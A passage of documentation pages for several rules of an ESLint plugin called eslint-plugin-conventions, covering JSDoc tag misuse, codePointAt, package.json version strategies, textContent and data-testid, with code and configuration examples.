* The TypeScript compiler's strict TSDoc mode (`tsdoc.json` → `noStandardTags`). * DefinitelyTyped's lint suite (`dtslint`). * IDE tooling that ships type-aware JSDoc autocomplete. They originate from people generating OpenAPI specs from TypeScript types and leaking constraint annotations into the source. The constraint belongs in the description prose, not in a synthetic tag. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```ts /** * @param age The user's age. * @minimum 0 * @maximum 150 */ function setAge(age: number) {} /** * @param email Contact email. * @format email */ function setEmail(email: string) {} ``` ### ✅ Correct [#-correct] ```ts /** * @param age The user's age. Must be in the range [0, 150]. */ function setAge(age: number) {} /** * @param email Contact email. Must be a valid RFC 5322 address. */ function setEmail(email: string) {} ``` ## Error Message Format [#error-message-format] ```text ⚠️ CONVENTIONS | @minimum is a JSON Schema keyword, not a valid JSDoc tag | MEDIUM Fix: Move the constraint into the @param description, or move the entire validation to a schema layer (zod, valibot, ajv). ``` ## Known False Negatives [#known-false-negatives] * Custom tags allowed via the rule's `additionalForbiddenTags` option are flagged; project-specific tag allowlists in `tsdoc.json` are not consulted. * Block-comment text containing `@minimum:` (with a colon, prose-style) is not flagged because it is not a JSDoc tag. # prefer-code-point Prefer `String.codePointAt()` over `String.charCodeAt()`. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions). ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | Warning (correctness) | | **Auto-Fix** | ✅ Yes (converts method) | | **Category** | Quality | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Unicode handling, emoji support | ## Rule Details [#rule-details] `charCodeAt()` only works for Basic Multilingual Plane characters. `codePointAt()` handles all Unicode including emoji. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------- | -------------------------- | -------------------- | | 😀 **Emoji handling** | Incorrect code points | codePointAt() | | 🌍 **Unicode support** | Astral characters fail | Full Unicode support | | 📏 **String length** | Surrogate pairs miscounted | Correct iteration | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript const code = string.charCodeAt(0); // Fails for emoji '😀'.charCodeAt(0); // Returns 55357 (wrong!) ``` ### ✅ Correct [#-correct] ```typescript const code = string.codePointAt(0); // Works for all Unicode '😀'.codePointAt(0); // Returns 128512 (correct!) // Iterate over code points for (const char of string) { const codePoint = char.codePointAt(0); } ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript { rules: { 'conventions/prefer-code-point': 'warn' } } ``` ## Related Rules [#related-rules] * [`prefer-dom-node-text-content`](./prefer-dom-node-text-content.md) - DOM text handling ## Further Reading [#further-reading] * **[codePointAt() - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt)** - MDN reference ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # prefer-dependency-version-strategy Enforce consistent version strategy (caret `^`, tilde `~`, exact, range, or any) for `package.json` dependencies. Pairs with a lockfile-alignment check (e.g. `npm ci`, or this repo's [`scripts/check-version-alignment.ts`](../../../../scripts/check-version-alignment.ts) via `npm run check-versions`) so format consistency *and* lockfile parity are both enforced. ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ---------------------------------------------------- | | **Severity** | Warning (best practice) | | **Auto-Fix** | ✅ Yes (automatically adds/removes version prefixes) | | **Category** | Development | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Monorepos, teams standardizing dependency management | | **Strategies** | Caret (^), Tilde (\~), Exact, Range, Any | ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Check package.json"] --> B{"Check dependency type"} B -->|dependencies| C["Validate version"] B -->|devDependencies| C B -->|peerDependencies| C C --> D{"Check protocol"} D -->|workspace:| E["✅ Skip if allowWorkspace"] D -->|file:| F["✅ Skip if allowFile"] D -->|link:| G["✅ Skip if allowLink"] D -->|semantic version| H{"Check strategy"} H -->|caret| I{"Has ^ prefix?"} H -->|tilde| J{"Has ~ prefix?"} H -->|exact| K{"Has no prefix?"} H -->|range| L{"Has range operators?"} I -->|❌ No| M["🔧 Auto-fix: Add ^"] I -->|✅ Yes| N["✅ Pass"] J -->|❌ No| O["🔧 Auto-fix: Add ~"] J -->|✅ Yes| N K -->|❌ Has prefix| P["🔧 Auto-fix: Remove prefix"] K -->|✅ No prefix| N L -->|❌ No| Q["🔧 Auto-fix: Suggest range"] L -->|✅ Yes| N M --> R["📝 Report violation"] O --> R P --> R Q --> R classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1f2937 class A startNode class M,O,P,Q errorNode class R processNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------ | ------------------------------------------- | -------------------------------------- | | 🔄 **Consistency** | Mixed version strategies cause confusion | Standardize on one strategy | | 🔒 **Security** | Exact versions miss security patches | Use caret for flexibility | | ⚡ **Maintenance** | Hard to update dependencies systematically | Consistent strategy enables automation | | 📦 **Monorepo** | Different packages use different strategies | Unified approach across packages | ## Configuration [#configuration] | Option | Type | Default | Description | | ---------------- | --------------------------------------------------- | --------- | --------------------------------------------------------------------------- | | `strategy` | `'caret' \| 'tilde' \| 'exact' \| 'range' \| 'any'` | `'caret'` | Default version strategy to enforce for all packages | | `allowWorkspace` | `boolean` | `true` | Allow `workspace:` protocol versions (monorepo support) | | `allowFile` | `boolean` | `true` | Allow `file:` protocol versions | | `allowLink` | `boolean` | `true` | Allow `link:` protocol versions | | `overrides` | `Record` | `{}` | Package-specific strategy overrides. Key is package name, value is strategy | ### Strategy Options [#strategy-options] | Strategy | Prefix | Description | Example | | -------- | ----------------- | -------------------------------------------- | ---------------- | | `caret` | `^` | Allows minor and patch updates (recommended) | `^1.0.0` | | `tilde` | `~` | Allows only patch updates | `~1.0.0` | | `exact` | none | Requires exact version match | `1.0.0` | | `range` | `>=`, `<`, `\|\|` | Allows range operators | `>=1.0.0 <2.0.0` | | `any` | any | Allows any version format (disables rule) | Any format | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```json { "dependencies": { "react": "18.2.0", // Missing caret "lodash": "~4.17.21", // Using tilde when caret expected "typescript": "^5.0.0" // Correct } } ``` ### ✅ Correct [#-correct] ```json { "dependencies": { "react": "^18.2.0", // Caret prefix "lodash": "^4.17.21", // Caret prefix "typescript": "^5.0.0" // Caret prefix } } ``` ### Monorepo Support [#monorepo-support] ```json { "dependencies": { "@my-org/utils": "workspace:*", // ✅ Allowed (workspace protocol) "@my-org/shared": "file:../shared", // ✅ Allowed (file protocol) "external-lib": "^1.0.0" // ✅ Enforced strategy } } ``` ## Usage [#usage] ### Basic Configuration [#basic-configuration] ```javascript // eslint.config.mjs import conventions from 'eslint-plugin-conventions'; export default [ { files: ['**/package.json'], plugins: { conventions, }, rules: { 'conventions/prefer-dependency-version-strategy': [ 'warn', { strategy: 'caret', allowWorkspace: true, allowFile: true, allowLink: true, }, ], }, languageOptions: { parser: await import('jsonc-eslint-parser'), }, }, ]; ``` ### Custom Strategy [#custom-strategy] ```javascript // Enforce exact versions (strict) { 'conventions/prefer-dependency-version-strategy': [ 'error', { strategy: 'exact' } ] } // Enforce tilde (patch updates only) { 'conventions/prefer-dependency-version-strategy': [ 'warn', { strategy: 'tilde' } ] } ``` ### Package-Specific Overrides [#package-specific-overrides] Override the default strategy for specific packages. This allows you to have strict versioning for critical dependencies while maintaining flexibility for others. #### Basic Override Example [#basic-override-example] ```javascript { 'conventions/prefer-dependency-version-strategy': [ 'warn', { strategy: 'caret', // Default: use caret for all packages overrides: { 'react': 'exact', // React must be exact version 'react-dom': 'exact', // React DOM must be exact version 'lodash': 'tilde', // Lodash uses tilde (patch updates only) 'typescript': 'exact', // TypeScript must be exact version '@types/node': 'caret', // Type definitions can use caret } } ] } ``` #### Real-World React Project Example [#real-world-react-project-example] ```javascript { 'conventions/prefer-dependency-version-strategy': [ 'warn', { strategy: 'caret', overrides: { // Core framework - exact versions for stability 'react': 'exact', 'react-dom': 'exact', 'next': 'exact', // Build tools - exact versions 'typescript': 'exact', 'vite': 'exact', 'esbuild': 'exact', // Utility libraries - tilde (patch updates only) 'lodash': 'tilde', 'date-fns': 'tilde', 'ramda': 'tilde', // Type definitions - caret (flexible) '@types/react': 'caret', '@types/node': 'caret', '@types/lodash': 'caret', } } ] } ``` #### Monorepo Example with Workspace Support [#monorepo-example-with-workspace-support] ```javascript { 'conventions/prefer-dependency-version-strategy': [ 'warn', { strategy: 'caret', allowWorkspace: true, // Allow workspace: protocol overrides: { // Shared dependencies - exact versions 'typescript': 'exact', '@types/node': 'exact', // Framework - exact 'react': 'exact', // Utilities - tilde 'lodash': 'tilde', } } ] } ``` **Use Cases:** * **Critical dependencies** (React, TypeScript, Next.js): Use `exact` to prevent breaking changes * **Utility libraries** (lodash, date-fns): Use `tilde` for patch updates only * **Type definitions** (@types/\*): Use `caret` for flexibility * **Most packages**: Use default `caret` strategy * **Disable for specific packages**: Use `'any'` to allow any version format ## Pairs with a lockfile-alignment check [#pairs-with-a-lockfile-alignment-check] This rule enforces **version-specifier format**. It does **not** validate that the version in `package.json` actually matches what's resolved in the lockfile; that's a separate concern. Run a lockfile-alignment check alongside it for full coverage: | Concern | Tool | | :----------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Version-specifier format consistency (caret / tilde / exact) | This rule (`conventions/prefer-dependency-version-strategy`) | | `package.json` version actually matches lockfile | `npm ci` (fails on drift), or this monorepo's [`scripts/check-version-alignment.ts`](../../../../scripts/check-version-alignment.ts) (`npm run check-versions`) | The rule and the lockfile check are independent and run at different stages: the rule fires inside ESLint at edit/PR time; the alignment check runs in CI before publish. ## Auto-Fix Examples [#auto-fix-examples] ### Example 1: With Package-Specific Overrides [#example-1-with-package-specific-overrides] **Configuration:** ```javascript { strategy: 'caret', // Default for all packages overrides: { 'react': 'exact', // React must be exact 'react-dom': 'exact', // React DOM must be exact 'lodash': 'tilde', // Lodash uses tilde 'typescript': 'exact', // TypeScript must be exact } } ``` **Before (Incorrect):** ```json { "dependencies": { "react": "^18.2.0", // ❌ Should be exact "react-dom": "^18.2.0", // ❌ Should be exact "lodash": "^4.17.21", // ❌ Should be tilde "typescript": "^5.0.0", // ❌ Should be exact "express": "4.18.0", // ❌ Missing caret (default) "axios": "1.6.0" // ❌ Missing caret (default) } } ``` **After (Auto-Fixed):** ```json { "dependencies": { "react": "18.2.0", // ✅ Exact (override) "react-dom": "18.2.0", // ✅ Exact (override) "lodash": "~4.17.21", // ✅ Tilde (override) "typescript": "5.0.0", // ✅ Exact (override) "express": "^4.18.0", // ✅ Caret (default) "axios": "^1.6.0" // ✅ Caret (default) } } ``` ### Example 2: React Project with Strict Versioning [#example-2-react-project-with-strict-versioning] **Configuration:** ```javascript { strategy: 'caret', // Default: flexible for most packages overrides: { // Core React dependencies - exact versions 'react': 'exact', 'react-dom': 'exact', 'react-router-dom': 'exact', // Build tools - exact versions 'typescript': 'exact', 'vite': 'exact', // Utility libraries - tilde (patch updates only) 'lodash': 'tilde', 'date-fns': 'tilde', // Type definitions - caret (flexible) '@types/react': 'caret', '@types/node': 'caret', } } ``` **Before:** ```json { "dependencies": { "react": "^18.2.0", "react-dom": "^18.2.0", "react-router-dom": "^6.20.0", "typescript": "^5.3.0", "vite": "^5.0.0", "lodash": "^4.17.21", "date-fns": "^2.30.0", "@types/react": "18.2.0", "@types/node": "20.10.0" } } ``` **After (Auto-Fixed):** ```json { "dependencies": { "react": "18.2.0", // ✅ Exact "react-dom": "18.2.0", // ✅ Exact "react-router-dom": "6.20.0", // ✅ Exact "typescript": "5.3.0", // ✅ Exact "vite": "5.0.0", // ✅ Exact "lodash": "~4.17.21", // ✅ Tilde "date-fns": "~2.30.0", // ✅ Tilde "@types/react": "^18.2.0", // ✅ Caret (default) "@types/node": "^20.10.0" // ✅ Caret (default) } } ``` ### Example 3: Monorepo with Mixed Strategies [#example-3-monorepo-with-mixed-strategies] **Configuration:** ```javascript { strategy: 'caret', // Default allowWorkspace: true, overrides: { // Critical shared dependencies - exact 'typescript': 'exact', '@types/node': 'exact', // Framework packages - exact 'react': 'exact', 'next': 'exact', // Utility packages - tilde 'lodash': 'tilde', 'ramda': 'tilde', } } ``` **Before:** ```json { "dependencies": { "@my-org/shared": "workspace:*", // ✅ Allowed (workspace protocol) "typescript": "^5.0.0", // ❌ Should be exact "@types/node": "^20.0.0", // ❌ Should be exact "react": "^18.2.0", // ❌ Should be exact "next": "^14.0.0", // ❌ Should be exact "lodash": "^4.17.21", // ❌ Should be tilde "ramda": "^0.29.0", // ❌ Should be tilde "axios": "1.6.0", // ❌ Missing caret (default) "express": "4.18.0" // ❌ Missing caret (default) } } ``` **After (Auto-Fixed):** ```json { "dependencies": { "@my-org/shared": "workspace:*", // ✅ Allowed (workspace protocol) "typescript": "5.0.0", // ✅ Exact (override) "@types/node": "20.0.0", // ✅ Exact (override) "react": "18.2.0", // ✅ Exact (override) "next": "14.0.0", // ✅ Exact (override) "lodash": "~4.17.21", // ✅ Tilde (override) "ramda": "~0.29.0", // ✅ Tilde (override) "axios": "^1.6.0", // ✅ Caret (default) "express": "^4.18.0" // ✅ Caret (default) } } ``` ### Example 4: Simple Configuration (No Overrides) [#example-4-simple-configuration-no-overrides] **Configuration:** ```javascript { strategy: 'caret', // Default for all packages } ``` **Before:** ```json { "dependencies": { "typescript": "5.0.0", "lodash": "4.17.21", "express": "4.18.0" } } ``` **After (Default caret strategy):** ```json { "dependencies": { "typescript": "^5.0.0", "lodash": "^4.17.21", "express": "^4.18.0" } } ``` ### Example 5: Disable Rule for Specific Packages [#example-5-disable-rule-for-specific-packages] **Configuration:** ```javascript { strategy: 'caret', overrides: { 'experimental-package': 'any', // Allow any version format 'legacy-package': 'any', // Allow any version format } } ``` **Result:** * `experimental-package` and `legacy-package` can use any version format (exact, caret, tilde, range, etc.) * All other packages must use caret (`^`) prefix ## Best Practices [#best-practices] | Practice | Reason | | ----------------------------------------------------------------------------- | --------------------------------------------- | | ✅ Use `caret` (default) | Allows security patches and minor updates | | ✅ Use `overrides` for critical deps | Pin React, TypeScript, etc. to exact versions | | ✅ Allow workspace protocols | Essential for monorepo support | | ✅ Pair with a lockfile-alignment check (`npm ci` or `npm run check-versions`) | Complete dependency validation | | ⚠️ Avoid `exact` for all packages | Misses security patches | | ⚠️ Use `exact` only for critical deps | When version pinning is required | | 💡 Use `tilde` for utilities | Patch updates only (lodash, date-fns) | ### Recommended Override Patterns [#recommended-override-patterns] ```javascript { strategy: 'caret', // Default: flexible for most packages overrides: { // Critical framework dependencies - exact versions 'react': 'exact', 'react-dom': 'exact', 'typescript': 'exact', // Utility libraries - tilde (patch updates only) 'lodash': 'tilde', 'date-fns': 'tilde', // Type definitions - caret (flexible) '@types/node': 'caret', '@types/react': 'caret', } } ``` ## Related [#related] * [`scripts/check-version-alignment.ts`](../../../../scripts/check-version-alignment.ts) - repo-internal lockfile-alignment check (`npm run check-versions`) * [`no-console-log`](./no-console-log.md) - Disallow `console.log` statements ## Resources [#resources] * [npm Semantic Versioning](https://docs.npmjs.com/cli/v10/configuring-npm/package-json#dependencies) * [Semantic Versioning Specification](https://semver.org/) ## Version History [#version-history] * **1.0.0** - Initial release with caret, tilde, exact, range, and any strategies ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # prefer-dom-node-text-content Prefer `textContent` over `innerText`. This rule is part of [`eslint-plugin-conventions`](https://www.npmjs.com/package/eslint-plugin-conventions). ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ------------------------------------------- | | **Severity** | Warning (performance) | | **Auto-Fix** | ✅ Yes (converts property) | | **Category** | Quality | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | DOM manipulation, performance-critical code | ## Rule Details [#rule-details] `innerText` triggers reflow and is slower. `textContent` is more performant and works in all contexts. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------- | ------------------------------ | ------------------------ | | ⚡ **Performance** | innerText triggers reflow | textContent | | 🎨 **Style awareness** | innerText reads computed style | Avoid when not needed | | 🖥️ **SSR support** | innerText requires layout | textContent works always | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript const text = element.innerText; // Triggers reflow element.innerText = 'Hello'; // Slower ``` ### ✅ Correct [#-correct] ```typescript const text = element.textContent; // No reflow element.textContent = 'Hello'; // Faster // Use innerText only when you need style-aware text // (hidden elements, CSS text-transform, etc.) ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript { rules: { 'conventions/prefer-dom-node-text-content': 'warn' } } ``` ## Related Rules [#related-rules] * [`prefer-code-point`](./prefer-code-point.md) - Unicode handling ## Further Reading [#further-reading] * **[textContent - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent)** - MDN reference * **[Difference between textContent and innerText](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/innerText#differences_from_textcontent)** - Comparison ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Variable References [#dynamic-variable-references] **Why**: Static analysis cannot trace values stored in variables or passed through function parameters. ```typescript // ❌ NOT DETECTED - Value from variable const value = externalSource(); processValue(value); // Variable origin not tracked ``` **Mitigation**: Implement runtime validation and review code manually. Consider using TypeScript branded types for validated inputs. ### Imported Values [#imported-values] **Why**: When values come from imports, the rule cannot analyze their origin or construction. ```typescript // ❌ NOT DETECTED - Value from import import { getValue } from './helpers'; processValue(getValue()); // Cross-file not tracked ``` **Mitigation**: Ensure imported values follow the same constraints. Use TypeScript for type safety. # require-data-testid Require stable `data-testid` attributes on interactive elements and custom components for end-to-end test reliability. ## Why [#why] E2E test selectors based on class names break on every styling refactor. Selectors based on visible text break with copy edits and i18n. Selectors based on `data-testid` are invisible at runtime, untouchable by Tailwind churn, and stable across refactors. This rule pairs with the [a11y self-test philosophy](../../../../apps/docs/A11Y.md) — Layer 3: edit-time enforcement of conventions that survive past Layer 1 (axe). ## Rule details [#rule-details] By default, the rule flags: * Native interactive elements: `